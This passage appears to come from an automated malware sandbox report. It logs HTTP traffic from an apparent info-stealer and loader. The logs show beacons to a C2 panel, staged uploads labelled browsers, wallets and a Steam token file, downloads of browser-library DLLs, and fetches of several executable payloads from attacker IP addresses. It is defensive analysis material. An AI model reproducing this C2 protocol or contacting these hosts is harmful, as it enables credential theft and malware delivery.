0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="hwid"28F299B564762778904926------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="build"mars------FHCBGIIJKEBFCBGDBAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJJDGHCBGDHIECBGIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 2d 2d 0d 0a Data Ascii: ------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BGHJJDGHCBGDHIECBGIDContent-Disposition: form-data; name="message"browsers------BGHJJDGHCBGDHIECBGID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="message"plugins------FBKEHJEGCFBFHJJKJEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="message"fplugins------AAKKKEBFCGDBGDGCFHCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCGHost: 185.215.113.206Content-Length: 5447Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="file"------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file"------BAFCGIJDAFBKFIECBGCA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFHDHJKKJDHJJJJKEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------DBFHDHJKKJDHJJJJKEGHContent-Disposition: form-data; name="message"wallets------DBFHDHJKKJDHJJJJKEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 4b 45 42 46 43 47 44 42 47 44 47 43 46 48 43 42 2d 2d 0d 0a Data Ascii: ------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AAKKKEBFCGDBGDGCFHCBContent-Disposition: form-data; name="message"files------AAKKKEBFCGDBGDGCFHCB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFCAFCFBAEHIDHJDBGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 43 41 46 43 46 42 41 45 48 49 44 48 4a 44 42 47 43 2d 2d 0d 0a Data Ascii: ------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKFCAFCFBAEHIDHJDBGCContent-Disposition: form-data; name="file"------BKFCAFCFBAEHIDHJDBGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="message"ybncbhylepme------IJECBGIJDGCAEBFIIECA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 33 62 63 30 38 66 61 64 62 30 35 35 36 38 62 38 39 31 35 64 63 32 65 36 65 31 39 64 36 37 61 33 31 39 34 34 37 36 61 38 36 65 33 34 33 64 31 63 32 38 32 33 36 64 64 33 31 35 38 33 35 31 36 63 63 33 36 38 64 65 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"73bc08fadb05568b8915dc2e6e19d67a3194476a86e343d1c28236dd31583516cc368de5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005522001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005523001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="hwid"28F299B564762778904926------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="build"mars------FIECFBAAAFHIIDGCGCBF--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Mon, 11 Nov 2024 11:23:25 GMTIf-None-Match: "6731e92d-1bc600"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 32 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005524031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 35 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005525001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEBFBKKJDHIDHIDBAEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 38 46 32 39 39 42 35 36 34 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 42 46 42 4b 4b 4a 44 48 49 44 48 49 44 42 41 45 2d 2d 0d 0a Data Ascii: ------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="hwid"28F299B564762778904926------HCAEBFBKKJDHIDHIDBAEContent-Disposition: form-data; name="build"mars------HCAEBFBKKJDHIDHIDBAE--
